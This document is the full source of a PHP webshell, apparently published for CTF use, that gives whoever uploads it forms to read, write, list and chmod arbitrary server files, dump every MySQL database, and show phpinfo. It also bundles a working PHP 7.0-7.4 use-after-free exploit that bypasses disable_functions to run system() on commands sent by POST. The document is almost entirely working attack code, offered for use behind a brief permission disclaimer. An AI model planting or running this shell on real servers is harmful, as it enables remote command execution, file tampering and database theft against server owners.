Limited Webshell
This webshell was created for those times where you can upload a PHP webshell but you cannot execute commands due to disabled functions and you can only interact with the filesystem using PHP capabilities.
<?php
############################
#### DATABASE FUNCTIONS ####
############################
$db = [];
$information_schema=["ALL_PLUGINS", "APPLICABLE_ROLES", "CHARACTER_SETS", "CHECK_CONSTRAINTS", "COLLATIONS", "COLLATION_CHARACTER_SET_APPLICABILITY", "COLUMNS", "COLUMN_PRIVILEGES", "ENGINES", "ENABLED_ROLES", "EVENTS", "FILES", "GLOBAL_STATUS", "GLOBAL_VARIABLES", "KEY_CACHES", "KEY_COLUMN_USAGE", "OPTIMIZER_TRACE", "PARAMETERS", "PARTITIONS", "PLUGINS", "PROCESSLIST", "PROFILING", "REFERENTIAL_CONSTRAINTS", "ROUTINES", "SCHEMATA", "SCHEMA_PRIVILEGES", "SESSION_STATUS", "SESSION_VARIABLES", "STATISTICS", "SYSTEM_VARIABLES", "TABLES", "TABLESPACES", "TABLE_CONSTRAINTS", "TABLE_PRIVILEGES", "TRIGGERS", "USER_PRIVILEGES", "VIEWS", "INNODB_LOCKS", "INNODB_TRX", "INNODB_SYS_DATAFILES", "INNODB_FT_CONFIG", "INNODB_SYS_VIRTUAL", "INNODB_CMP", "INNODB_FT_BEING_DELETED", "INNODB_CMP_RESET", "INNODB_CMP_PER_INDEX", "INNODB_CMPMEM_RESET", "INNODB_FT_DELETED", "INNODB_BUFFER_PAGE_LRU", "INNODB_LOCK_WAITS", "INNODB_TEMP_TABLE_INFO", "INNODB_SYS_INDEXES", "INNODB_SYS_TABLES", "INNODB_SYS_FIELDS", "INNODB_CMP_PER_INDEX_RESET", "INNODB_BUFFER_PAGE", "INNODB_FT_DEFAULT_STOPWORD", "INNODB_FT_INDEX_TABLE", "INNODB_FT_INDEX_CACHE", "INNODB_SYS_TABLESPACES", "INNODB_METRICS", "INNODB_SYS_FOREIGN_COLS", "INNODB_CMPMEM", "INNODB_BUFFER_POOL_STATS", "INNODB_SYS_COLUMNS", "INNODB_SYS_FOREIGN", "INNODB_SYS_TABLESTATS", "GEOMETRY_COLUMNS", "SPATIAL_REF_SYS", "CLIENT_STATISTICS", "INDEX_STATISTICS", "USER_STATISTICS", "INNODB_MUTEXES", "TABLE_STATISTICS", "INNODB_TABLESPACES_ENCRYPTION", "USER_VARIABLES", "INNODB_TABLESPACES_SCRUBBING", "INNODB_SYS_SEMAPHORE_WAITS"];
$mysql=["COLUMNS_PRIV", "COLUMN_STATS", "DB", "ENGINE_COST", "EVENT", "FUNC", "GENERAL_LOG", "GTID_EXECUTED", "GTID_SLAVE_POS", "HELP_CATEGORY", "HELP_KEYWORD", "HELP_RELATION", "HELP_TOPIC", "HOST", "INDEX_STATS", "INNODB_INDEX_STATS", "INNODB_TABLE_STATS", "NDB_BINLOG_INDEX", "PLUGIN", "PROC", "PROCS_PRIV", "PROXIES_PRIV", "ROLES_MAPPING", "SERVER_COST", "SERVERS", "SLAVE_MASTER_INFO", "SLAVE_RELAY_LOG_INFO", "SLAVE_WORKER_INFO", "SLOW_LOG", "TABLE_STATS", "TABLES_PRIV", "TIME_ZONE", "TIME_ZONE_LEAP_SECOND", "TIME_ZONE_NAME", "TIME_ZONE_TRANSITION", "TIME_ZONE_TRANSITION_TYPE", "TRANSACTION_REGISTRY", "USER"];
$performance_schema=["ACCOUNTS", "COND_INSTANCES", "EVENTS_STAGES_CURRENT", "EVENTS_STAGES_HISTORY", "EVENTS_STAGES_HISTORY_LONG", "EVENTS_STAGES_SUMMARY_BY_ACCOUNT_BY_EVENT_NAME", "EVENTS_STAGES_SUMMARY_BY_HOST_BY_EVENT_NAME", "EVENTS_STAGES_SUMMARY_BY_THREAD_BY_EVENT_NAME", "EVENTS_STAGES_SUMMARY_BY_USER_BY_EVENT_NAME", "EVENTS_STAGES_SUMMARY_GLOBAL_BY_EVENT_NAME", "EVENTS_STATEMENTS_CURRENT", "EVENTS_STATEMENTS_HISTORY", "EVENTS_STATEMENTS_HISTORY_LONG", "EVENTS_STATEMENTS_SUMMARY_BY_ACCOUNT_BY_EVENT_NAME", "EVENTS_STATEMENTS_SUMMARY_BY_DIGEST", "EVENTS_STATEMENTS_SUMMARY_BY_HOST_BY_EVENT_NAME", "EVENTS_STATEMENTS_SUMMARY_BY_PROGRAM", "EVENTS_STATEMENTS_SUMMARY_BY_THREAD_BY_EVENT_NAME", "EVENTS_STATEMENTS_SUMMARY_BY_USER_BY_EVENT_NAME", "EVENTS_STATEMENTS_SUMMARY_GLOBAL_BY_EVENT_NAME", "EVENTS_TRANSACTIONS_CURRENT", "EVENTS_TRANSACTIONS_HISTORY", "EVENTS_TRANSACTIONS_HISTORY_LONG", "EVENTS_TRANSACTIONS_SUMMARY_BY_ACCOUNT_BY_EVENT_NAME", "EVENTS_TRANSACTIONS_SUMMARY_BY_HOST_BY_EVENT_NAME", "EVENTS_TRANSACTIONS_SUMMARY_BY_THREAD_BY_EVENT_NAME", "EVENTS_TRANSACTIONS_SUMMARY_BY_USER_BY_EVENT_NAME", "EVENTS_TRANSACTIONS_SUMMARY_GLOBAL_BY_EVENT_NAME", "EVENTS_WAITS_CURRENT", "EVENTS_WAITS_HISTORY", "EVENTS_WAITS_HISTORY_LONG", "EVENTS_WAITS_SUMMARY_BY_ACCOUNT_BY_EVENT_NAME", "EVENTS_WAITS_SUMMARY_BY_HOST_BY_EVENT_NAME", "EVENTS_WAITS_SUMMARY_BY_INSTANCE", "EVENTS_WAITS_SUMMARY_BY_THREAD_BY_EVENT_NAME", "EVENTS_WAITS_SUMMARY_BY_USER_BY_EVENT_NAME", "EVENTS_WAITS_SUMMARY_GLOBAL_BY_EVENT_NAME", "FILE_INSTANCES", "FILE_SUMMARY_BY_EVENT_NAME", "FILE_SUMMARY_BY_INSTANCE", "GLOBAL_STATUS", "GLOBAL_VARIABLES", "HOST_CACHE", "HOSTS", "MEMORY_SUMMARY_BY_ACCOUNT_BY_EVENT_NAME", "MEMORY_SUMMARY_BY_HOST_BY_EVENT_NAME", "MEMORY_SUMMARY_BY_THREAD_BY_EVENT_NAME", "MEMORY_SUMMARY_BY_USER_BY_EVENT_NAME", "MEMORY_SUMMARY_GLOBAL_BY_EVENT_NAME", "METADATA_LOCKS", "MUTEX_INSTANCES", "OBJECTS_SUMMARY_GLOBAL_BY_TYPE", "PERFORMANCE_TIMERS", "PREPARED_STATEMENTS_INSTANCES", "REPLICATION_APPLIER_CONFIGURATION", "REPLICATION_APPLIER_STATUS", "REPLICATION_APPLIER_STATUS_BY_COORDINATOR", "REPLICATION_APPLIER_STATUS_BY_WORKER", "REPLICATION_CONNECTION_CONFIGURATION", "REPLICATION_CONNECTION_STATUS", "REPLICATION_GROUP_MEMBER_STATS", "REPLICATION_GROUP_MEMBERS", "RWLOCK_INSTANCES", "SESSION_ACCOUNT_CONNECT_ATTRS", "SESSION_CONNECT_ATTRS", "SESSION_STATUS", "SESSION_VARIABLES", "SETUP_ACTORS", "SETUP_CONSUMERS", "SETUP_INSTRUMENTS", "SETUP_OBJECTS", "SETUP_TIMERS", "SOCKET_INSTANCES", "SOCKET_SUMMARY_BY_EVENT_NAME", "SOCKET_SUMMARY_BY_INSTANCE", "STATUS_BY_ACCOUNT", "STATUS_BY_HOST", "STATUS_BY_THREAD", "STATUS_BY_USER", "TABLE_HANDLES", "TABLE_IO_WAITS_SUMMARY_BY_INDEX_USAGE", "TABLE_IO_WAITS_SUMMARY_BY_TABLE", "TABLE_LOCK_WAITS_SUMMARY_BY_TABLE", "THREADS", "USER_VARIABLES_BY_THREAD", "USERS", "VARIABLES_BY_THREAD"];
$sys=['HOST_SUMMARY', 'HOST_SUMMARY_BY_FILE_IO', 'HOST_SUMMARY_BY_FILE_IO_TYPE', 'HOST_SUMMARY_BY_STAGES', 'HOST_SUMMARY_BY_STATEMENT_LATENCY', 'HOST_SUMMARY_BY_STATEMENT_TYPE', 'INNODB_BUFFER_STATS_BY_SCHEMA', 'INNODB_BUFFER_STATS_BY_TABLE', 'INNODB_LOCK_WAITS', 'IO_BY_THREAD_BY_LATENCY', 'IO_GLOBAL_BY_FILE_BY_BYTES', 'IO_GLOBAL_BY_FILE_BY_LATENCY', 'IO_GLOBAL_BY_WAIT_BY_BYTES', 'IO_GLOBAL_BY_WAIT_BY_LATENCY', 'LATEST_FILE_IO', 'MEMORY_BY_HOST_BY_CURRENT_BYTES', 'MEMORY_BY_THREAD_BY_CURRENT_BYTES', 'MEMORY_BY_USER_BY_CURRENT_BYTES', 'MEMORY_GLOBAL_BY_CURRENT_BYTES', 'MEMORY_GLOBAL_TOTAL', 'METRICS', 'PROCESSLIST', 'PS_CHECK_LOST_INSTRUMENTATION', 'SCHEMA_AUTO_INCREMENT_COLUMNS', 'SCHEMA_INDEX_STATISTICS', 'SCHEMA_OBJECT_OVERVIEW', 'SCHEMA_REDUNDANT_INDEXES', 'SCHEMA_TABLE_LOCK_WAITS', 'SCHEMA_TABLE_STATISTICS', 'SCHEMA_TABLE_STATISTICS_WITH_BUFFER', 'SCHEMA_TABLES_WITH_FULL_TABLE_SCANS', 'SCHEMA_UNUSED_INDEXES', 'SESSION', 'SESSION_SSL_STATUS', 'STATEMENT_ANALYSIS', 'STATEMENTS_WITH_ERRORS_OR_WARNINGS', 'STATEMENTS_WITH_FULL_TABLE_SCANS', 'STATEMENTS_WITH_RUNTIMES_IN_95TH_PERCENTILE', 'STATEMENTS_WITH_SORTING', 'STATEMENTS_WITH_TEMP_TABLES', 'SYS_CONFIG', 'USER_SUMMARY', 'USER_SUMMARY_BY_FILE_IO', 'USER_SUMMARY_BY_FILE_IO_TYPE', 'USER_SUMMARY_BY_STAGES', 'USER_SUMMARY_BY_STATEMENT_LATENCY', 'USER_SUMMARY_BY_STATEMENT_TYPE', 'VERSION', 'WAIT_CLASSES_GLOBAL_BY_AVG_LATENCY', 'WAIT_CLASSES_GLOBAL_BY_LATENCY', 'WAITS_BY_HOST_BY_LATENCY', 'WAITS_BY_USER_BY_LATENCY', 'WAITS_GLOBAL_BY_LATENCY', 'X$HOST_SUMMARY', 'X$HOST_SUMMARY_BY_FILE_IO', 'X$HOST_SUMMARY_BY_FILE_IO_TYPE', 'X$HOST_SUMMARY_BY_STAGES', 'X$HOST_SUMMARY_BY_STATEMENT_LATENCY', 'X$HOST_SUMMARY_BY_STATEMENT_TYPE', 'X$INNODB_BUFFER_STATS_BY_SCHEMA', 'X$INNODB_BUFFER_STATS_BY_TABLE', 'X$INNODB_LOCK_WAITS', 'X$IO_BY_THREAD_BY_LATENCY', 'X$IO_GLOBAL_BY_FILE_BY_BYTES', 'X$IO_GLOBAL_BY_FILE_BY_LATENCY', 'X$IO_GLOBAL_BY_WAIT_BY_BYTES', 'X$IO_GLOBAL_BY_WAIT_BY_LATENCY', 'X$LATEST_FILE_IO', 'X$MEMORY_BY_HOST_BY_CURRENT_BYTES', 'X$MEMORY_BY_THREAD_BY_CURRENT_BYTES', 'X$MEMORY_BY_USER_BY_CURRENT_BYTES', 'X$MEMORY_GLOBAL_BY_CURRENT_BYTES', 'X$MEMORY_GLOBAL_TOTAL', 'X$PROCESSLIST', 'X$PS_DIGEST_95TH_PERCENTILE_BY_AVG_US', 'X$PS_DIGEST_AVG_LATENCY_DISTRIBUTION', 'X$PS_SCHEMA_TABLE_STATISTICS_IO', 'X$SCHEMA_FLATTENED_KEYS', 'X$SCHEMA_INDEX_STATISTICS', 'X$SCHEMA_TABLE_LOCK_WAITS', 'X$SCHEMA_TABLE_STATISTICS', 'X$SCHEMA_TABLE_STATISTICS_WITH_BUFFER', 'X$SCHEMA_TABLES_WITH_FULL_TABLE_SCANS', 'X$SESSION', 'X$STATEMENT_ANALYSIS', 'X$STATEMENTS_WITH_ERRORS_OR_WARNINGS', 'X$STATEMENTS_WITH_FULL_TABLE_SCANS', 'X$STATEMENTS_WITH_RUNTIMES_IN_95TH_PERCENTILE', 'X$STATEMENTS_WITH_SORTING', 'X$STATEMENTS_WITH_TEMP_TABLES', 'X$USER_SUMMARY', 'X$USER_SUMMARY_BY_FILE_IO', 'X$USER_SUMMARY_BY_FILE_IO_TYPE', 'X$USER_SUMMARY_BY_STAGES', 'X$USER_SUMMARY_BY_STATEMENT_LATENCY', 'X$USER_SUMMARY_BY_STATEMENT_TYPE', 'X$WAIT_CLASSES_GLOBAL_BY_AVG_LATENCY', 'X$WAIT_CLASSES_GLOBAL_BY_LATENCY', 'X$WAITS_BY_HOST_BY_LATENCY', 'X$WAITS_BY_USER_BY_LATENCY', 'X$WAITS_GLOBAL_BY_LATENCY'];
function getData($dbh, $columns, $tablename, $dbname){
global $db;
$columns_str = implode(",", $columns);
$sql = "SELECT $columns_str FROM $dbname.$tablename;";
#echo $sql."\n";
foreach ($dbh->query($sql) as $row) {
array_push($db[$dbname][$tablename]["data"], array());
echo "<tr>\n";
foreach ($columns as &$colname){
$c = count($db[$dbname][$tablename]["data"]);
$db[$dbname][$tablename]["data"][$c-1][$colname] = $row[$colname];
echo "\t<td>".$row[$colname]."</td>\n";
}
echo "</tr>\n";
}
}
function getColumns($dbh, $tablename, $dbname){
global $db;
$sql = "SELECT column_name FROM information_schema.columns WHERE table_name='$tablename' and table_schema='$dbname';";
#echo $sql."\n";
echo "<div id='$tablename.$dbname'>";
echo '<table style="width:100%">'."\n";
echo "<tr>\n";
foreach ($dbh->query($sql) as $row) {
array_push($db[$dbname][$tablename]["columns"], $row['column_name']);
echo "\t<th>".$row['column_name']."</th>\n";
}
echo "</tr>\n";
getData($dbh, $db[$dbname][$tablename]["columns"], $tablename, $dbname);
echo "</table></div>\n";
echo "<br>\n";
}
function getTables($dbh, $dbname, $checkDefault) {
global $db, $information_schema, $mysql, $performance_schema, $sys;
$sql = "SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname';";
#echo $sql."\n";
foreach ($dbh->query($sql) as $row) {
$db[$dbname][$row['table_name']]["columns"] = array();
$db[$dbname][$row['table_name']]["data"] = array();
if (! $checkDefault){
if ($dbname === "information_schema" && in_array(strtoupper($row['table_name']),$information_schema)){
continue;
}
elseif ($dbname === "mysql" && in_array(strtoupper($row['table_name']),$mysql)){
continue;
}
elseif ($dbname === "performance_schema" && in_array(strtoupper($row['table_name']),$performance_schema)){
continue;
}
elseif ($dbname === "sys" && in_array(strtoupper($row['table_name']),$sys)){
continue;
}
}
echo "<h3>Table: ".$row['table_name']."</h3><br>";
getColumns($dbh, $row['table_name'], $dbname);
}
}
function dumpDb($mysqlUserName, $mysqlPassword, $mysqlHostName, $checkDefault){
global $db;
$dbh = new PDO("mysql:host=$mysqlHostName;",$mysqlUserName, $mysqlPassword);
$sql = $dbh->query('SHOW DATABASES');
$dbnames_results = $sql->fetchAll();
foreach ($dbnames_results as &$dbname) {
$db[$dbname[0]] = array();
echo "<h2>Database: ".$dbname[0]."</h2><br>";
getTables($dbh, $dbname[0], $checkDefault);
}
}
################################
##### FILESYSTEM FUNCTIONS #####
################################
function printPerms($filepath){
$perms = fileperms('/etc/passwd');
switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = 'r';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default: // unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
echo "$info $filepath\n";
}
function listDir($dir){
echo "Listing $dir\n";
$filenames = scandir($dir);
foreach ($filenames as $filename) {
if ($filename != "." && $filename != ".."){
$filepath = "$dir/$filename";
printPerms($filepath);
}
}
}
function readAFile($filepath){
if (file_exists($filepath)){
if (is_readable($filepath)) {
echo "Reading $filepath\n";
echo file_get_contents($filepath);
}
else{
echo "$filepath: Permission denied\n";
}
}
else{
echo "$filepath: File doesn't exist\n";
}
}
function writeAFile($filepath, $content){
file_put_contents($filepath, $content);
}
function createADir($dirpath, $perms){
if (! mkdir($dirpath, intval($perms, 8))){
echo "Error creating the folder $dirpath\n";
}
else{
echo "$dirpath was created\n";
}
}
function changePerms($dirpath, $perms){
if (! chmod($dirpath, intval($perms, 8))){
echo "Error changing permissions of $dirpath\n";
}
else{
echo "Permissions of $dirpath changed correctly\n";
}
}
####################################
######### CHECK FUNCTIONS ##########
####################################
function check_exec_function($disabled, $func){
if (!in_array($func, $disabled)){
echo "<div style='color:red;'>$func is enabled!!</div>\n";
}
else{
echo "<div style='color:green;'>$func is disabled</div>\n";
}
}
function check_exec_functions() {
$disabled = explode(',', ini_get('disable_functions'));
$funcs = ["exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec", "mail", "putenv"];
foreach ($funcs as $func) {
check_exec_function($disabled, $func);
}
}
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
<body style="margin:20;padding:5">
<pre>
<b>Disclaimer: Always use this webshell with permission of the servers owner.</b>
<h1> Filesystem Interaction </h1>
<form method="post">
Read File: <input type="text" id="readfile" name="readfile"><input type="submit" value="Submit">
</form>
<?php if (isset($_POST["readfile"])){ readAFile($_POST["readfile"]); } ?>
<br>
<form method="post">
List Dir: <input type="text" id="listdir" name="listdir"><input type="submit" value="Submit">
</form>
<?php if (isset($_POST["listdir"])){ listDir($_POST["listdir"]); } ?>
<br>
<form method="post">
Create Dir: <input type="text" id="dirpath" name="dirpath"> Perms: <input type="text" id="dirperms" name="dirperms" value="0777"> <input type="submit" value="Submit">
</form>
<?php if (isset($_POST["dirpath"]) && isset($_POST["dirperms"])){ createADir($_POST["dirpath"], $_POST["dirperms"]); } ?>
<br>
<form method="post">
Change Perms: <input type="text" id="permspath" name="permspath"> Perms: <input type="text" id="perms" name="perms" value="0600"> <input type="submit" value="Submit">
</form>
<?php if (isset($_POST["permspath"]) && isset($_POST["perms"])){ changePerms($_POST["permspath"], $_POST["perms"]); } ?>
<br>
<form method="post">
Write file: <input type="text" id="filepath" name="filepath"><br>Content: <br><textarea rows="10" cols="100" name="content"></textarea> <br><input type="submit" value="Submit">
</form>
<?php if (isset($_POST["filepath"]) && isset($_POST["content"])){ writeAFile($_POST["filepath"], $_POST["content"]); } ?>
<br>
<h1> Disabled functions </h1>
<?php check_exec_functions(); ?>
<br>
<h2> PHP 7.0-7.4 Disabled Functions Bypass </h2>
<form method="post">
Command: <input type="text" id="cabesha" name="cabesha"> <input type="submit" value="Submit">
</form>
<?php if (isset($_POST["cabesha"])){ pwn($_POST["cabesha"]); } ?>
<br>
<h1> Mysql Dump </h1>
Note that this will dump the WHOLE DATABASE. I have created this webshell for CTFs, DO NOT USE THIS IN PRODUCTION ENVIRONMENTS.
<form method="post">
Mysql Username: <input type="text" id="mysqlusername" name="mysqlusername" value="root"><br>
Mysql Password: <input type="text" id="mysqlpassword" name="mysqlpassword"><br>
Mysql Host: <input type="text" id="mysqlhost" name="mysqlhost" value="localhost"><br>
<input type="checkbox" id="dumpdefault" name="dumpdefault" value="yes"> Dump default MySQL databases <i>(information_schema, mysql, performance_schema, sys) </i>. Note that by default only non-default tables from these databases will be extracted.<br>
<input type="submit" value="Dump Mysql">
</form>
<?php if (isset($_POST["mysqlusername"]) && isset($_POST["mysqlpassword"]) && isset($_POST["mysqlhost"])){ echo $_POST["dumpdefault"]."\n"; dumpDb($_POST["mysqlusername"], $_POST["mysqlpassword"], $_POST["mysqlhost"], isset($_POST["dumpdefault"])); } ?>
</pre>
<h1> PHPInfo </h1>
<?php phpinfo(); ?>
</body>